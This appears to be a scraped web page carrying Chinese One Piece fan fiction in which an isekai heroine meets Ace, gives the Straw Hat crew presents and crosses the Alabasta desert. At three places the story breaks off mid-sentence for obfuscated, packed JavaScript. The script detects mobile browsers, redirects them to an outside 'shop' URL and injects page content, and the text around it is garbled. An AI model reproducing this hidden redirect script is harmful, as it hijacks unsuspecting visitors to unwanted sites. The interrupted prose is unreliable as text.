“怎么说呢,倒也不意外。”山治瞥了一眼声势浩大的后方战场,“不过我们还是赶紧回船上吧。” 来了。 一直默不作声的有有听到这话向前看去,果不其然迎来了分叉口。 她眼睁睁地看着路飞和她们分道扬镳却没开口提醒。 如果说到《海贼王》里的名场面,那真的是要多少有多少,有有闭着眼睛都能数出几十上百个。 但是,令她印象最深刻的,果然还是这里。 意气风发的两个少年,虽然比起以后稍显稚嫩,但是无论是坐在木桶上傻里傻气的他,还是站在一旁无奈却愉快的他,都在记忆中闪闪发光。 “可恶,好想现场拍下来。”有有飞速眨了眨眼睛,跑得连气都喘不过来了还有空想七想八。 要不说人的适应能力在自然界首屈一指,从升入高中之后就没有拼尽全力跑过一次八百米的有有居然跟着这群人从岛上跑到了船上。 双脚踩上甲板的一瞬间,有有双腿一软,“咣”地一下砸在了甲板上。 喉头溢满了铁锈的味道,呼吸进去的空气就像钝刀子一样反复划破肺壁,再加上头晕眼花,有有只觉得下一秒就要猝死在船上了。 等……等我回去,我一定、一定,办……个健身卡…… “有有你没事吧!”乔巴吓得把抱着的物资都差点扔掉,急得都要掏出医疗包了。 有有气若游丝:“没……没事,去扬帆~~” “真的假的?!”乔巴急得眼泪都快出来了,“你看起来快死了啊!” 有有:……我谢谢你。 索隆一把子将乔巴捞走:“不用管她,她马上就能缓过来,不行等会把她扛进她房间里。” 甲板上有条不紊地忙碌着,有有默默爬到一边,尽量不挡住其他人的行进路线,甚至还记得把袍子往里面窝一窝。 没办法,这种情况下不给他们添乱就已经是在帮忙了,你说是吧路飞同学。 准备就绪的船只即将起航,但是却少了船长。 有有看着怒发冲冠的娜美在心中为某人默默点蜡。 看在你把艾斯带回来的份上,等娜美发完火,我会给你送零食的,我可爱的船长先生。 但等在原地对于此刻的草帽团来说并不是好的选择,毕竟时刻都有可能被海军发现。 于是娜美愉快地决定先开船。 船离海岸线越来越远,有有趴在船舷上观察着城市。长达十二年的学习时间虽然没有让有有近视,但是她的视力也实在比不上这群土生土长的海贼。 但是红色的身影实在夺目,瞬间,有有就看见了远处正在挥手的小不点。 “路飞!!”有有跳了起来,不断地向路飞招手。 伸长的手臂就这样搭上了船,有有还没反应过来,弹射过来的人就这样和她撞了个满怀。连带着旁边的乔巴和山治。 一颗保龄球撞翻了三个人。 所有人:“……” 偏生路飞毫无悔过之心,笑嘻嘻地道歉:“抱歉啊,有有、山治、乔巴。” “你这混蛋!万一把有有小姐撞伤了怎么办!”山治小心翼翼地扶起有有,转头就拎着路飞的衣领质问道。 “nice shoot!”有有笑得惨淡,捂着被磕到的腰语气虚弱。 娜美没好气地给了有有一个脑瓜崩,“你给我闭嘴!” 索隆头疼地看着每一个抓到重点的人,只觉得前路漫漫。 “啊,对了,艾斯呢?”路飞扶着帽子,忽然反应过来。 艾斯? “你刚刚一直和你哥哥在一起吗?”山治听到路飞的话,颇有些好奇道,“丢下他没关系吗?” “没事啦,他很强的,虽然现在肯定是我更强!” 路飞的哥哥,到底是个什么样的人呢?和路飞一样是个怪物吗? 索隆没忍住瞥了一眼还坐在地上的女孩,刚想开口,却看见一个人影就这样从海面上直直蹦了出来。 “我说你啊,在说什么呢?”来人按着橙色的帽子,轻巧地落在船边。 热烈、张扬,就像是沙漠里的太阳一样。 “艾斯,这就是我刚和你说到的同伴们。”路飞就像在炫耀自己的宝藏一样,指着自己的伙伴,得意地朝着兄长介绍。 “我的弟弟受你们照顾了。”来人意外的有礼貌,礼貌得有点不像路飞的家人。 “没有的事!” “这家伙没什么教养,你们肯定很棘手。”艾斯再清楚不过自己弟弟的德行,用膝盖想也知道让路飞当船长有多火大,毕竟刚刚连船都找不到。 “喂,有有。”索隆看着从刚刚开始就一小步一小步往自己身后挪动的女孩,即使知道在这种情况下打断俩兄弟的会面不太恰当。 但是…… 这个从见到艾斯开始就不对劲的人更让人担心。 索隆的声音成功地将所有人的视线吸引到了自己身上,忙不迭往后躲的女孩也暴露在了所有人的视野当中。 有有:“……”我迟早要把索隆揍一顿。 “怎么了有有?”娜美有些不解地看向女孩,她在城市里时不曾见过有有的异样,却也觉得有有此刻的行为格外奇怪,明明是面对敌人都敢直接扑上去的性格,怎么在路飞的哥哥面前反而害怕了起来。 “哈哈哈,艾斯,你把人吓到了!”路飞指着艾斯哈哈大笑,一副幸灾乐祸的模样,“谁让你那么凶的!” 有有:??谁吓到了?她怎么会被吓到?还是被艾斯吓到?她这是怕吓到艾斯好吗!!!怎么可能会有人相信这种傻话?! 艾斯信了。 披着袍子的女孩怯生生地躲在看上去最凶的人背后,目光躲闪,完全不敢和自己直视,甚至连手都紧攥着,似乎因为过于害怕双颊都有些泛红。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16097980|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这样子太有说服了了,毕竟再怎么样,他应该都没有那个戴着橙色头巾的人看着凶吧?虽然他自己确实挺凶的。 “诶?”艾斯苦恼地挠了挠头,开口道歉道,“这样吗?那真是抱……” “不是!” 突然放大的声音吓了所有人一个猝不及防,站得最近的索隆更是觉得站在旁边的人压根不是有有,反而是路飞。 有有从索隆背后钻出,红着脸大声反驳了一句,却在看到艾斯的目光朝自己袭来时,暗搓搓地又挪回了索隆背后,只探出了个脑袋,快速而小声地说道:“不是被你吓的。” 艾斯微愣,觉得气氛似乎有些奇怪,几道视线莫名地变得犀利了起来,他呆愣愣地想要找台阶下:“没关系的,我这人是挺容易惹人厌的……” “?”女孩不可置信地瞪大了眼睛,语气愤愤不平,“谁!谁说的!你这么好!谁会不喜欢你!” 掷地有声、铿锵有力、字字珠玑、振聋发聩。 哇哦。 微微无声地惊叹,甚至感觉船上出现了回音。 举目望去,表情管理最先失败的是厨师先生,一整个失去颜色,灵魂都快从嘴巴里飘出来了。 一整个怨夫形象。 武士道先生也嘴角抽搐,脸上写满了恨铁不成钢。 娜美则是一副自家白菜被拱了到表情,说不上是无奈还是看好戏。 “诶……诶?” 意料之外的告白让艾斯一愣,整个人一时不知道说些什么,却见口出“狂言”的女孩子忽然往下一蹲,脸深深地埋在了臂弯当中,耳朵通红,头顶都在冒着烟。 “哈哈哈哈,我就说这家伙很有趣吧!”路飞拍打着有有的后背,差点把本就不稳定的灵魂拍飞出去,“我们和她第一次见面的时候她也是这么说的!” 啊,艾斯恍然大悟,原来是这孩子的习惯啊! 事情好像朝着出乎意料的方向发展了,娜美看着乱成一团的现场,嘴角抽了抽。 虽然见面就告白确实是有有的风格,但是麻烦睁大眼睛看看清楚,她哪次告白能害羞成这样!! 诡异、实在太诡异了。 娜美在心里叫嚣,却敏感地没有说出口。 没有被现场的气氛扰乱,乌索普指着迎面而来的几艘船尖叫道:“敌人来了!!!” “我去解决他们!”艾斯纵身一跳,就落在了自己的小船上。 落荒而逃。 娜美脑子里忽然冒出了这个念头,并在和微微对视时,肯定了自己的想法。 索隆想不到那么多,只是看着蹲在自己脚边的一团格外不顺眼,刚想把人薅起来,就看见女孩飞也似的跑到了船头。 索隆:? 女孩大咧咧地掀起袍子,袍子下的舞女服赫然映入眼帘,连带着身上的伤也窥见了一角。在所有人还没反应过来时,有有又从舞女服的暗袋里掏出了手机,开始对准了海面上的艾斯。 娜美:? 等会儿?要从哪开始问起? “山治君。”娜美皮笑肉不笑道,“你真的不知道有有刚刚干嘛去了吗?” “乔巴——”山治将目光投向了乔巴,可怜的小驯鹿脑门全是冷汗。 “不、不知道!”乔巴视死如归道。 一群派不上用场的家伙。 29.阿拉巴斯坦(五) 一个字:帅! 两个字:超帅!! 三个字:帅得惨绝人寰人神共愤无与伦比!!! 有有平稳地举着手机,即使心率已经飙到180,都没敢让自己的手晃动一下,为的就是录下艾斯击败敌人的每一个瞬间。 没办法学习影分身术是有有此刻最大的遗憾,问就是要一个录像、一个拍照、一个摇旗呐喊、再来一个立马修图打印。 呜呜呜,人怎么能帅成这样,热动能的小船也帅,艾斯站在船上的姿势也帅,翻跟头的时候帽子都没掉,这难道不帅吗!!!! 轻轻松松解决掉几船人的艾斯回来时,就对上了滤镜有八百米厚的女孩。女孩手中还拿着一个奇奇怪怪的小方块对着自己。 艾斯:…… “你好?”艾斯挠挠头,有些迟疑地打了个招呼。 不管怎么样,打招呼总是没错的吧? 有有呼吸一窒,内心尖叫。 啊啊啊啊,艾斯和我打招呼了!!!我要怎么回答!我的日语到底标不标准!!要不要鞠躬!还是握手?鞠躬要鞠多少度?握手的话我扒拉沙子的手洗干净了没!!! “呃……”僵住半晌,有有木木地伸出了一只手,语气生硬且小声,“你好。” 完全没打算要握手的艾斯:? 完全看不下去了的索隆捂眼,语气绝望:“乔巴,你去给有有开点药吧。” “诶?有有病了嘛?” “没病,但是傻了。” 啊啊啊啊啊,我在做什么!感觉一定会被当成笨蛋的!杀了我吧!!!! 有有内心泪流满面,刚打算硬着头皮收回手,一只温暖的大手就这样握了上来。 宽大的手掌带着些许的茧子,掌心比预想中要更硬一些,即使刚刚从海面回来,也不见半点水汽。 干燥而又温暖。 艾斯爽朗一笑,脸上的小雀斑似乎都在泛着光:“请多指教,有有。” 有有…… 有有…… 有有…… 声音似乎变成了录好的音频,在脑海中反复播放。 啊,死而无憾了。 江有有面色安详,下一秒就能得道升仙,脸上满是佛光普照的光芒。 就是手还没放开。 “行了行了。”索隆拎着有有的衣领子,毫不手软地将人拎回船舱,“别在这丢人了,赶紧去把衣服换了,然后再解释一下你身上的伤。” 哦豁。 有有挣扎的动作僵住,后知后觉地发现自己已经暴露了。 娜美的目光如芒在背,有有吸了吸鼻子,心如死灰地面对自己惨淡无光的未来。 但是别管!这辈子都不洗手了! —— “……那个,那边,真的不用管吗?”艾斯十分不自在地指了指旁边叉着腰训人的娜美,娜美的面前还会坐着有有、山治和乔巴。 时不时还能传来几句“不要受伤”的叮嘱。 怎么说呢,有一种探望亲戚却恰好碰见亲戚正在训孩子的即视感。 “没事啦没事啦。”路飞摆了摆手,相当大方地塞了一包零食到艾斯手里,“快吃,这可是有有带来的特产。” 确实是没见过的包装,甚至还有充满童趣的小零食,所以即使不是肉,这个无肉不欢的弟弟也吃得相当开心。而且看路飞这个顺手至极的动作,想也知道实在是吃过不少回了。 甚至桌上的这些还是那个名叫有有的女孩换完衣服顺便塞给路飞的。 塞完就非常利落地去听训了。 “那个有有就是你说的异世界的伙伴?”艾斯看了一眼船上性格各异的人们,几乎瞬间就能把所有人对上号。 完全忘记了娜美说过不能透露出有有真实身份的路飞连连点头:“她超级有趣的,特别喜欢拍照,而且她的房间会消失,再出现,还会带礼物!” “而且她坐船都会吐哈哈哈哈哈!” 艾斯失笑:“那是你又乱来了吧?你这家伙。” 完全不知道自己的底已经被透露完的有有乖乖地听着训,眼睛余光却一直想要往某个方向瞟。 娜美叹了口气,无奈地扶着脑袋挥了挥手:“算了,自己玩去吧,如果真的受伤了就麻烦乔巴了。” “包在我身上!”乔巴拍着胸脯保证。 倒是山治还有些许怨气,目光幽怨地看着有有:“有有小姐,你不是说我买什么衣服都行吗?” 山治希望的舞女服三名女生一个都没穿上,娜美和微微倒是短暂的穿了一会儿,但是害怕晒伤就套上了外套。有有更是穿了一套自己的衣服,舞女服也只是惊鸿一瞥。 要知道那三套衣服可都是他精挑细选啊! 有有满脸无辜,睁着大眼睛看着山治:“诶?我自己的衣服不好看嘛?” 的确是答应他随他挑,又没答应他一定会穿,嘿嘿。 说着还在山治面前转了个圈,展示着自己货比三家才决定的沙漠徒步套装。 “……好看!” “嘿嘿。”有有满意点头,“山治君也很帅!” 山治幸福得咬牙,“可恶,耍赖的有有小姐也好可爱!” 为了沙漠徒步而准备的装备有不少,有有甚至还专门买了一个容量巨大的背包。一开始甚至焦虑地想要买个睡袋或者帐篷,但是过分繁重的行李并不能给人带来便利,甚至会带来不少麻烦。 让其他人帮忙背包又不是有有的性格,在战斗上帮不上忙已经有够抱歉了,在其他的地方更不能消耗伙伴们的体力。 于是思考良久,最后只装了一包必需用品。但除此之外…… 所有人都还在甲板上,女孩看着房间里的小推车,从来没有觉得这么紧张过。 “有有?”娜美抬头,看见磨磨蹭蹭的女孩好奇道。 “礼物……”女孩犹豫地将小推车拉出操舵室的门,“想给大家发礼物。” “不是都叫你省着点花钱了吗?”娜美只觉得最t……近叹气的次数有点多,却还是帮忙把小推车抬了下来,“多给自己买点东西呀!” 有有讪讪一笑:“没关系,等我没钱了就不买了。” “……不要说这种傻话。” 艾斯觉得自己还是低估了路飞口中会带礼物的程度,小推车上满满当当都是东西,甚至还有没拆封的盒子。 原来那些零食都不算礼物吗?艾斯颇为感慨道。 “礼物礼物~”路飞盘着腿坐在甲板上,笑嘻嘻地看着有有,就像个坐等发礼物的小孩。 有有也没想到自己这次会这么大阵仗,以前也只不过是刚好看见就顺手买了,主打一个合适,也不会兴师动众得每个人都有。 但是一想到这次有可能会见到艾斯,想塞礼物的心就蠢蠢欲动。 问:如何让艾斯自然地收下礼物? 答:每个人都塞一份。 一直以为那句“想拥抱你,所以拥抱了每一个人”的话太过夸张,但是真正到了这个时候,有有才知道,这只不过是人之常情。 况且,这都到沙漠了!给他们补充点物资怎么了!!! 所有人围坐在一起,明明大战当前,偏生过出了出来郊游的感觉。 “这个是玩具,给路飞、乌索普还有乔巴。”有有从一堆东西里掏出玩具车,“可以在船上玩,别带下去了。” “还有路飞的零食大礼包。” “乌索普你上次不是说你的鱼竿不好用了嘛,给你带了个鱼竿。” “山治你要的食谱,还有我看你护手霜好像快用完了就买了几只,你可以挑你喜欢的香味用。” “索隆给你电解质,解释起来有点麻烦总之你锻炼完之后喝就可以了。还有这本《在野外辨别方向》你可以多看看,看不懂的话我也没办法了。” “这个眼药水给娜美,如果画图的时候眼睛累的话可以滴一滴,眼睛就会很舒服。我房间里还有好看的衣服,但是不太适合沙漠穿,等回来你再过来拿吧。” “乔巴也是零食,别被路飞抢了哟。” “伊卡莱姆给你的润喉糖,希望你能多多唱歌。” “上次一起拍的照片打印出来了哟微微,还给你裱好了,你好漂亮呀。” “卡鲁,我给你买了新杯子,可以装很多水哟。” 雨露均沾,一个不落。甚至连鸭子都照顾到了。 礼物都不算特别贵,但送到了每个人的心坎上。收到礼物的人有人欢喜、有人感动、还有人额头直冒青筋。 但总归,被人放在心上的感觉并不差。 “厉害!这是什么!这个车好酷!” “你这家伙,谁告诉我不认识路了!” “有有小姐!结婚!” “这个鱼竿真不错啊!” …… 看着所有人(并不是)开心的表情,有有笑得眯起了眼睛。 可即使这样发完了一圈,小推车还剩下不少东西。 小推车的滚轮在甲板上来回滚动着,有有心一横,接下来的人会是什么反应,把整辆车推到了艾斯面前。 “送、送给你。”有有紧张地做了个吞咽的动作。 只是含笑看着众人闹做一团的艾斯一愣,不自觉坐直了些许,少年诧异道:“我也有?” “嗯嗯嗯。”有有点头如捣蒜,“都给你。” “全部?” “全部!” 为什么他也会有? 艾斯不解。 不过是第一次见面的人而已,能说出“谁会不喜欢你”这种话就有够意外了,甚至他还诡异地感觉,在她心中,他是特殊的。 难不成和喜欢表达爱意一样,送礼也是这孩子的癖好吗? “诶~好羡慕!艾斯有那么多!”路飞睁大了眼睛好奇极了,“你送什么了呀?” 面对艾斯若有似无的打量,女孩的手脚都有些不知道往哪里放。 路飞的话让有有如蒙大赦,忙不迭地拿起东西一个个介绍了起来。 虽然早就有给艾斯送礼物的打算,可真的到了这个时候,有有反而觉得送什么都不太合适。 面对一个已知最终死亡结局的人,看到他活着的每一秒似乎都会关联到他的生命的终结,此刻的少年意气似乎也只是为了让他的死亡添上一层更壮烈的悲剧色彩。 只是看着他这样温柔地注视着自己的弟弟,谁又能想到他最后会死在弟弟怀里,甚至在死前的那一秒,才释怀了自己的存在。 可她这么多年都无法释怀他的死亡。 艾斯的死亡推动了路飞的成长,成长的方式有那么多种,可某人偏偏选择了让所有人都难以释怀的一种。 有有曾想,如果真的真的能见到艾斯,那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16109420|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定要把所有的爱意毫无保留的传递,可是真到了此刻,又怕这份情感在他眼中来的猝不及防又过于沉重。 你的出生怎么会不是一件好事呢?在你不知道的地方,有许多许多的人从一至终地爱着你。 可他现在还不够爱自己。 有人会在爱意的浇灌中更爱自己,但这个宇宙无敌超级大笨蛋只会更爱爱着他的人。 有有按住有些发抖的右手,装作若无其事地扒拉出来一个路飞的玩偶挂件。 顺便还做出了个闪亮登场的手势。 “看!路飞的挂件!这个可以挂在背包上,也能挂在皮带上,这样你无论什么时候都能看见路飞了。” 所有人:…… 真的会有人喜欢这么诡异的礼物吗? 当然会有。 艾斯一脸惊喜,本来还想推辞一下的心情荡然无存,整个人愉快地收下了这个小玩偶,并立马挂在了背包上。 “真不错啊!这样我下次就不用拿悬赏令了!”艾斯满意地拍了拍自己的包。 有有偷偷一笑,单推人嘛,她懂,她可太懂了。 她果然,还是喜欢艾斯笑着的样子。 “诶~我居然能当礼物吗!”路飞一脸新奇,像是打开了新世界的大门,“好奇怪啊。” 有有又摸出了一个拍立得,几乎是在诱哄着两个人:“不奇怪不奇怪,路飞你那么可爱,话说要不要来拍个照,即刻成像,可以一人一张带着哟。” 真的好诡异。 娜美和索隆对视一眼,发现不是自己一个人这么想顿时松了口气。 起码还是有正常人的。 又看见了新奇的东西,路飞举着手迫不及待地参与了进去,于是世界上独二无三的兄弟合照就此诞生了。 “好神奇啊!”所有人凑在一起看着两人手中小小的一张卡片。 互相拦着肩膀的兄弟俩笑得肆意潇洒,牛仔帽和草帽凑在一起,一眼就能看出谁是哥哥谁是弟弟。 “我也想照!”乔巴羡慕地举着手,整只鹿兴奋地不得了。 “来来来,都可以照!” 相纸像是不要钱一样大放送,几乎每个人手里都多了一张或者几张照片。 新玩具正在兴头上,有有毫不留恋地把拍立得递给了路飞,随他开始到处拍。甚至还慷慨的塞了几包相纸,并教会了乌索普换相纸的方法。 至于为什么不是教路飞…… 懂得都懂。 “艾斯艾斯!”大概是拍照能拉近人与人的距离,有有只觉得现在艾斯的名字也不算烫嘴了,她蹲在小推车边做贼一样小声喊着男生,看见艾斯向自己看过来,便招呼着人过来。 艾斯在有有身边坐了下来,单手拖着下巴笑意盈盈地看着女孩,少年的意气扑面而来。 “谢谢你的礼物,我很喜欢。” 艹!好帅! 有有脑子一片空白,想说的话忘了个干净,下意识将头埋进了臂弯。 太、太阳!!! “怎么了?”艾斯挑眉,勾起的嘴角还有些痞气。 有有悄悄抬眼,一只眼睛从臂弯的缝隙里漏了出来,不停地眨巴着眼睛,闷声闷气道:“你有点帅到我了。” 诶? 意料之外的话闯入耳朵,艾斯终于没忍住放声笑了出来。 “你这家伙,真的很有趣啊!” 是嘛?有有拍了拍有些发热的脸,忍不住又瞥了一眼艾斯。 你开心就最好了。 有有抿了抿嘴,又从推车里翻出了一个盒子。 盒子打开是一块怀表样式的铜制项链,只是怀表的盖子颇有些奇特,一般来说,怀表的盖子通常会刻上格外繁复的花纹,这些花纹通常会有一些隐藏的含义,比如说家族的徽章或是海贼的旗帜。 但是这个怀表上只是简单地刻了三根短短的“7”字型的管子。 有有飞快地瞥了一眼艾斯的神色,在他还没反应过来时开口道:“7是我的幸运数字来着。” 说不清道不明的感受在心中一闪而过,艾斯顺着有有的思路,倒也觉得这个“7”越看越像。 有有按开怀表,盖子的里面刻着两顶帽子,一顶草帽,一顶牛仔帽。只是帽子的位置似乎有些奇怪,太过靠左了一点,右边还有一些空隙。 不过怀表不算大,看起来也不算太过奇怪。 女孩长吁短叹,看起来苦恼极了:“都怪当时那个工匠,我明明画好了设计图,但是他给我刻歪了,但是除此之外都很好看的,这个可不可以也送给你呀?” 才怪,这个是她当时看完ASL回忆篇之后意难平,专门设计的谷子,空着的地方画的是萨博的帽子。 在今天没有遇见艾斯之前,能看见的只有路飞的草帽,而在遇见艾斯之后,她在去查看时就发现艾斯的帽子也显露出来了。 长水管实在不好排列,就刻意画短了,横着摆出了“777”的样子,也没有刻得太清晰。可能也正因为这个原因,并没有被直接和谐掉。 “这个,要送给我吗?” 怀表看上去有些年头了,但是依旧被保存得很好,连包装盒都还在,甚至连一个折角都没有。 “对呀对呀。”有有把怀表塞进艾斯的手里,指着怀表里的帽子笑着说道,“你看,这样的话,每一分、每一秒,你的弟弟都在陪着你。” 30.阿拉巴斯坦(六) 按照微微所说,他们需要从圣多拉河逆流而上,到达卡特里亚再到犹巴。这一段路途恰好和艾斯的路线不谋而合,理所当然的,艾斯将要同行一段时日。 可在到达卡特里亚之前,还有一件事情要做。 卡鲁的族群名为快跑鸭,是沙漠通行的一把好手,跑得快还通人性,某种程度上和唐〇鸭的距离就只是不会说人话而已。 微微拿着整理好的信件,仔细地叮嘱着卡鲁,信件中除了对国王汇报自己和伊卡莱姆平安的消息之外,还附上了在巴洛克工作室卧底时调查出来的情报。 有有没有选择下船,她站在甲板上,目光一瞬不瞬地看着在沙漠上忙活的一群人,轻轻叹了口气。 同样没有下船的还有索隆和艾斯。 “怎么了?”索隆敏锐地听见了叹息声,目光投向了身边的女孩。 “索隆。”有有垂下眼睛,紧紧握住了面前的桅杆,想要开口说什么,却最终摇了摇头,“ 没什么。” 没人会信,明显就是一副有什么事情的样子。 是在担忧吗?可是,这里最不该担忧的不就是她吗? 虽然没有人主动提起,但是她能预测未来的事情所有人都还记在心里(路飞除外)。但即使并不去预测未来,索隆也对自己的伙伴们有足够的信心。尤其是路飞,虽然平时幼稚又胡来,但他是这艘船的船长,是他下定决心要跟随的男人,他不相信最后的结局会让他们失望。 “不要瞎担心了。”索隆不甚熟练地安慰着,“会赢的。” 会赢当然是会赢的,没人比有有更清楚最后的结局。 “我知道,我们会赢的。”有有深吸了口气,朝着索隆笑道。 可她同样也知道,他们会付出怎么样的代价。娜美贯穿的脚踝、乌索普浑身缠满绷带、山治和索隆的遍体鳞伤……每一次拼尽全力的战斗都会化成养分,让他们逐渐变得强大。 想让他们少受一点伤吗?当然想。可是她做得到吗?她做不到。 她不像许多同人里写的那样,能强大到能从一切困难下保护他们,她甚至还需要他们来保护。 但是个人的行为不受约束,总有她能做到的事情。 她不会置喙他们的战斗,她只会为凯旋的他们献上最热烈的鲜花和掌声。 “不过最让人意外的是,身为海贼的克洛克达尔,居然想要谋取王位,他难不成是想安定下来吗?”艾斯轻轻一笑,显然是想到了更深的方面,“估计背后是有什么阴谋吧。” 哦~ 有有面露崇拜,先一步为艾斯送上了掌声:“没错没错,他肯定有阴谋啦。”说完还佯装嫌弃地看了一眼旁边的索隆,“你看看你就知道打架。” 索隆:“……” 剑客冷笑一声,扯着女孩背上的包就要往旁边走。 “我忍你很久了,你今天真的非常欠揍。” 即使知道索隆并不会打自己,但有有还是一秒钟就怂了。女孩讨好地看着索隆,卖乖道:“对不起,对不起嘛。” “晚了。”索隆言简意赅道。 有有轻啧一声,转头换了一个人卖乖:“艾斯艾斯,快救救我!” 落在自己身上的目光忽然有些深邃,艾斯不动声色地看了一眼站在有有背后的男人。拎着背包带子的手完全没放松力道,但另一只手却巧妙地隔开了女孩和腰间的三把剑,任由女孩怎么乱动都不会打到自己。 艾斯失笑,真的作势走了过来。 最后解救有有的是上船的娜美。 “索隆,你是不是又在欺负有有了?”娜美没好气地瞪着索隆,“你能不能大度一点!” 索隆看着躲在娜美背后冲着自己做鬼脸的女孩,几乎都要气笑了。 “你哪只眼睛看到我能欺负她了?”索隆翻了个白眼,“她不欺负我我就谢天谢地了。” 那本《如何在野外辨别方向》还摆在哑铃边嘲笑着他,这群人到底为什么会有一种这个笨蛋很好欺负的印象啊?看不见吗?这明明是个恶魔啊! 有有扯了扯娜美的衣服,乖巧道:“娜美你别骂他了,索隆没有欺负我哦。” 娜美递给了有有一个安抚的眼神,转眼骂得更厉害了,钱也欠得更多了。 索隆:……他不理解,为什么那个笨蛋说了实话他反而更倒霉了。 完全没品过如此清新脱俗的茶香的索隆陷入了茫然,而另一边,有有却一脸无辜地和乔巴玩闹了起来。 梅利号很快就到达了目的地,也就意味着从此刻起,接下来的路程大多要靠双腿步行。 面对一望无垠的沙漠,有有深深吸了一口气,做足了心理准备才敢下船。 极端恶劣的环境都是其次,跟不上的体力才是最头疼的。高中三年别说跑步锻炼了,最频繁的活动不过就是从教室走到卫生间,运动会是永远做后勤的、上下学是骑车的、体育课是划水的……结果现在上来就要沙漠徒步。 怎么不算是一种质的飞跃呢? 更何况,他们会在阿拉巴斯坦停留的时间肯定不止两天,这也就意味着,这是第一次房间刷新时,人不在房间内。 是否会被房间强制带走还是未知数,最理想的状态就是房间一直维持着那种笨笨的判定模式,即使人不在房间也直接把房间打包带走。 可如果…… 不不不。有有把头摇到飞起,拒绝提前立下flag。 “你是小狗吗?”跟在后面下船的索隆看见女孩的怪模怪样,嘲笑着轻轻薅了一把有有的头发。 要不是打不过。有有皮笑肉不笑地看着索隆,硬生生咽下了这口气。 “你这家伙说什么呢!” 反倒是听见了的山治撸着袖子就上了。 做得好山治! 有有默默给人点了个赞。 刚踏上沙漠还没站稳,像乌龟又像海豹的海牛就窜了出来。有有连忙制止了两人的争斗,一手拉着一个躲在了两人后面。 毕竟要知道,这小东西看着可爱,但是却是实打实的武斗派。一个自己完全不够它们揍的那种。 “这有什么好怕的?”索隆嘲笑道。 有有指了指旁边已经被揍趴下了的乌索普,无奈摊手。 “有有小姐别怕~我会保护好有有小姐的~”山治殷勤地朝着有有担保,大有一副赴汤蹈火在所不惜的架势。 “哇哦。”有有捧场地鼓掌,“山治真可靠啊!” 不可靠的绿藻头索隆:…… 功夫海牛转眼就被路飞征服,一旦没用了攻击性,功夫海牛也变得可爱了起来,更别说它们之后还帮上了大忙。 但功夫海牛带来的欢乐似乎是此行为数不多的轻松时光。 为了不引人注意,一行人要绕开人数众多的地方。逐渐的,一开始踏进沙漠的新奇逐渐被漫天的黄沙掩埋。松软的、无法提供回弹的沙地让每一步都变得艰难,脚步也愈加沉重。 可更沉重的,是黄沙之下被掩埋的过去。 现实远比隔着屏幕要震撼,也更惨烈。 过去被掩埋,未来也不复存在。 “这是爱尔马尔,曾经被称为绿之城的地方。*” 残酷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16123465|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 即使有所准备,有有还是因为残酷的现实而白了脸色。 在某种意义上,战争对于有有而言,似乎比二次元还要更遥远。当然世界并不完全是和平的,但是有有幸运地出生在和平的年代,会为了生活发愁,但几乎不需要为了生存发愁。 能想起来的烦恼也不过是考试考得不好怎么办,或者今天的晚饭吃什么…… 距离这座城市越近,有有的脸色就愈加苍白。 干旱的运河、深不见底毫无回响的水井…… 风穿过坍塌的废墟,被迫分裂、加速,废墟中的房间、管道变成了天然的音箱,将风声放大、环绕,然后再铺天盖地压了下来。 这座城市,在哀鸣。 沙尘席卷而来,漫天的风沙迷住了眼睛,随后,将惨痛摊在了众人面前。 不远处扬起的斗篷并不是活生生的人。而是早就被葬送的生命。 坚硬的颅骨被风化,让人无法想象他孤独地度过了多久的岁月。 “这座城市的人民到底做错了什么?他又有什么权利那么做!” 公主小心翼翼地靠近着子民,深沉而又绝望的诘问着,可没有人能回答。 沉重的现实让路飞失去了玩闹的心情,本就残破的建筑在他的拳头下坍塌。 无法忍受女士伤心的山治已然跃跃欲试,想要战斗的心蠢蠢欲动。 伊卡莱姆沉默着、和微微一起,为这众多尸骨中的一具做了坟墓。 娜美陪在了自己身边,似乎是在担心自己。 似乎每个人都有事情做。 有有看着面前的伙伴们,不知为何,脑中异常的冷静。 “走吧,去犹巴。叛乱军是在那里吧?*” 有有听见索隆这么说。 “嗯,我会去说服首领让他停止暴动。*” 说服? 有有垂眸,轻轻拨开了娜美的手,没等任何人反应过来,走到了微微面前。 语气轻轻。 “我能问一下,微微你,打算怎么说服吗?” 周围一圈人围着,正中心两名女孩子相对而立,隐隐有一种对峙的预感。 索隆眉心一跳,敏锐地察觉到气氛似乎有些不对劲,想要走上前拉开两人,却被边上的艾斯挡住了步伐。 平日里,有有和微微的接触并不算多,先不提微微在船上的时间大多是有有回家的时间,况且几人一起战斗的羁绊有有也不曾参与。 在微微的印象里,对有有的了解大多来自于娜美。 可爱、善良、热心、单纯以及,些许的脆弱。 